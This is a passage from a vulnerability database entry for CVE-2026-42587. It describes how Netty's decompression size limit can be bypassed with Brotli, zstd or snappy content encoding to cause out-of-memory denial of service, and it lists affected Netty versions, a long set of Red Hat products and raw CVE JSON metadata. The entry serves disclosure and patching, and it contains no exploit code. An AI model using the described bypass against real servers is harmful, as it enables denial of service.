Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-42587 (GCVE-0-2026-42587)
Vulnerability from cvelistv5 – Published: 2026-05-13 18:22 – Updated: 2026-08-13 12:04
VLAI
EPSS
VEX
Title
Netty: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS
Summary
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-13 18:43 UTC
CWE
Assigner
References
17 references
Impacted products
47 products
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| netty | netty |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
guessed | |
| io.netty | netty-codec-http |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
guessed | |
| io.netty | netty-codec-http2 |
Affected:
>= 4.2.0.Alpha1, < 4.2.13.Final
Affected: < 4.1.133.Final |
guessed | |
| Red Hat | Cryostat 4 on RHEL 9 |
Unaffected:
4.2.0-10 , < *
(rpm)
cpe:/a:redhat:cryostat:4::el9 |
||
| Red Hat | Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16 |
Unaffected:
codec-http , < *
(rpm)
Unaffected: codec-http2 , < * (rpm) cpe:/a:redhat:apache_camel_spring_boot:4.18 |
||
| Red Hat | Red Hat build of Quarkus 3.27.4 |
Unaffected:
codec-http , < *
(rpm)
Unaffected: codec-http2 , < * (rpm) cpe:/a:redhat:quarkus:3.27::el8 |
||
| Red Hat | Red Hat build of Quarkus 3.33.2 |
cpe:/a:redhat:quarkus:3.33::el8
|
||
| Red Hat | Red Hat Data Grid 8.6.2 |
Unaffected:
codec-http , < *
(rpm)
Unaffected: codec-http2 , < * (rpm) cpe:/a:redhat:jboss_data_grid:8 |
||
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.4.25 |
Unaffected:
codec-http , < *
(rpm)
Unaffected: codec-http2 , < * (rpm) cpe:/a:redhat:jboss_enterprise_application_platform:7.4::el7 |
||
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7 |
Unaffected:
0:2.16.0-22.redhat_00057.1.el7eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7 |
||
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7 |
Unaffected:
0:2.3.14-11.SP11_redhat_00001.1.el7eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7 |
||
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7 |
Unaffected:
0:1.5.26-2.Final_redhat_00001.1.el7eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7 |
||
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7 |
Unaffected:
0:2.18.8-1.redhat_00003.1.el7eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7 |
||
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7 |
Unaffected:
0:5.0.31-3.SP2_redhat_00001.1.el7eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7 |
||
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7 |
Unaffected:
0:1.10.0-46.Final_redhat_00044.1.el7eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7 |
||
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7 |
Unaffected:
0:4.1.135-1.Final_redhat_00001.1.el7eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7 |
||
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7 |
Unaffected:
0:2.5.5-30.SP12_redhat_00020.1.el7eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7 |
||
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7 |
Unaffected:
0:2.5.5-24.SP12_redhat_00016.1.el7eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7 |
||
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7 |
Unaffected:
0:2.2.40-2.SP3_redhat_00001.1.el7eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7 |
||
| Red Hat | Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7 |
Unaffected:
0:7.4.25-2.GA_redhat_00001.1.el7eap , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7 |
||
| Red Hat | Red Hat JBoss Enterprise Application Platform 8.1 |
Unaffected:
codec-http2 , < *
(rpm)
cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9 |
||
| Red Hat | Streams for Apache Kafka 2.9.4 |
Unaffected:
codec-http2 , < *
(rpm)
cpe:/a:redhat:amq_streams:2.9::el9 |
||
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783443816 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
||
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1780948325 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
||
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1780696380 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
||
| Red Hat | Red Hat OpenShift Dev Spaces 3.28 |
Unaffected:
1780694994 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.28::el9 |
||
| Red Hat | Red Hat OpenShift Dev Spaces 3.29 |
Unaffected:
1782989027 , < *
(rpm)
cpe:/a:redhat:openshift_devspaces:3.29::el9 |
||
| Red Hat | Cryostat 4 |
cpe:/a:redhat:cryostat:4
|
||
| Red Hat | OpenShift Serverless |
cpe:/a:redhat:serverless:1
|
||
| Red Hat | Red Hat AMQ Broker 7 |
cpe:/a:redhat:amq_broker:7
|
||
| Red Hat | Red Hat AMQ Clients |
cpe:/a:redhat:amq_clients:2023
|
||
| Red Hat | Red Hat build of Apache Camel 4 for Quarkus 3 |
cpe:/a:redhat:camel_quarkus:3
|
||
| Red Hat | Red Hat build of Apicurio Registry 2 |
cpe:/a:redhat:service_registry:2
|
||
| Red Hat | Red Hat build of Apicurio Registry 3 |
cpe:/a:redhat:apicurio_registry:3
|
||
| Red Hat | Red Hat build of Debezium 3 |
cpe:/a:redhat:debezium:3
|
||
| Red Hat | Red Hat Build of Keycloak |
cpe:/a:redhat:build_keycloak:
|
||
| Red Hat | Red Hat build of OptaPlanner 8 |
cpe:/a:redhat:optaplanner:::el6
|
||
| Red Hat | Red Hat Enterprise Linux AI (RHEL AI) 3 |
cpe:/a:redhat:enterprise_linux_ai:3
|
||
| Red Hat | Red Hat Fuse 7 |
cpe:/a:redhat:jboss_fuse:7
|
||
| Red Hat | Red Hat JBoss Enterprise Application Platform 8 |
cpe:/a:redhat:jboss_enterprise_application_platform:8
|
||
| Red Hat | Red Hat JBoss Enterprise Application Platform Expansion Pack |
cpe:/a:redhat:jbosseapxp
|
||
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai
|
||
| Red Hat | Red Hat Process Automation 7 |
cpe:/a:redhat:jboss_enterprise_bpms_platform:7
|
||
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6
|
||
| Red Hat | Red Hat Single Sign-On 7 |
cpe:/a:redhat:red_hat_single_sign_on:7
|
||
| Red Hat | streams for Apache Kafka 2 |
cpe:/a:redhat:amq_streams:2
|
||
| Red Hat | streams for Apache Kafka 3 |
cpe:/a:redhat:amq_streams:3
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42587",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-13T18:43:31.138358Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-23T15:52:26.728Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/cryostat-reports-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/cryostat-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/jfr-datasource-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apache_camel_spring_boot:4.18"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:quarkus:3.27::el8"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat build of Quarkus 3.27.4",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:quarkus:3.33::el8"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Quarkus 3.33.2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat Data Grid 8.6.2",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat JBoss Enterprise Application Platform 7.4.25",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-activemq-artemis",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.16.0-22.redhat_00057.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-glassfish-jsf",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.3.14-11.SP11_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-ironjacamar",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:1.5.26-2.Final_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-annotations",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-core",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-databind",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-jaxrs-providers",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-modules-base",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-modules-java8",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jboss-remoting",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:5.0.31-3.SP2_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jboss-server-migration",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:1.10.0-46.Final_redhat_00044.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-netty",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:4.1.135-1.Final_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-netty-transport-native-epoll",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:4.1.135-1.Final_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-picketlink-bindings",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.5.5-30.SP12_redhat_00020.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-picketlink-federation",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.5.5-24.SP12_redhat_00016.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-undertow",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.2.40-2.SP3_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-wildfly",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:7.4.25-2.GA_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat JBoss Enterprise Application Platform 8.1",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:2.9::el9"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Streams for Apache Kafka 2.9.4",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_ai:2.25::el9"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-modelmesh-rhel9",
"product": "Red Hat OpenShift AI 2.25",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783443816",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/openvsx-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780948325",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/pluginregistry-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780696380",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/server-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780694994",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.29::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/multicluster-redirector-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.29",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782989027",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-ekb-dispatcher-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-ekb-receiver-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-ddb-streams-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-s3-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-s3-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-sns-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-sqs-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-sqs-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-log-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-timer-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_clients:2023"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat AMQ Clients",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:camel_quarkus:3"
],
"defaultStatus": "unaffected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Apache Camel 4 for Quarkus 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:camel_quarkus:3"
],
"defaultStatus": "unaffected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Apache Camel 4 for Quarkus 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:debezium:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Debezium 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:debezium:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Debezium 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
